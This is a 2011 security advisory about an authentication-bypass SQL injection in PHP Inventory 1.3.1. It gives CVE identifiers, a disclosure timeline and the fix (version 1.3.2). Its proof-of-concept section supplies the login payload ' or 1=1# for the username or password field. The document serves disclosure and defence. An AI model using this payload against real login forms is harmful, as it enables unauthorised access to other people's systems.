PHP Inventory 1.3.1 Remote (Auth Bypass) SQL Injection Vulnerability

2011-12-04T00:00:00
ID SECURITYVULNS:DOC:27388
Type securityvulns
Reporter Securityvulns
Modified 2011-12-04T00:00:00

Description

Advisory: PHP Inventory 1.3.1 Remote (Auth Bypass) SQL Injection Vulnerability Advisory ID: INFOSERVE-ADV2011-08 Author: Stefan Schurtz Contact: security@infoserve.de Affected Software: Successfully tested on PHP Inventory 1.3.1 Vendor URL: http://www.phpwares.com/ Vendor Status: fixed CVE-ID: CVE-2009-4595,CVE-2009-4596,CVE-2009-4597

========================== Vulnerability Description ==========================

PHP Inventory is (still) prone to a SQL-Injection (Auth Bypass) vulnerability

================== PoC-Exploit ==================

http://[target]/php-inventory/index.php

// with 'magic_quotes_gpc = Off'

USER NAME = ' or 1=1#

or

USER NAME = admin PASSWORD = ' or 1=1#

========= Solution =========

Update to the latest version 1.3.2

==================== Disclosure Timeline ====================

29-Nov-2011 - informed vendor (contact form) 30-Nov-2011 - vendor fix

======== Credits ========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

=========== References ===========

http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-08.txt http://www.exploit-db.com/exploits/10370/ http://secunia.com/advisories/37672/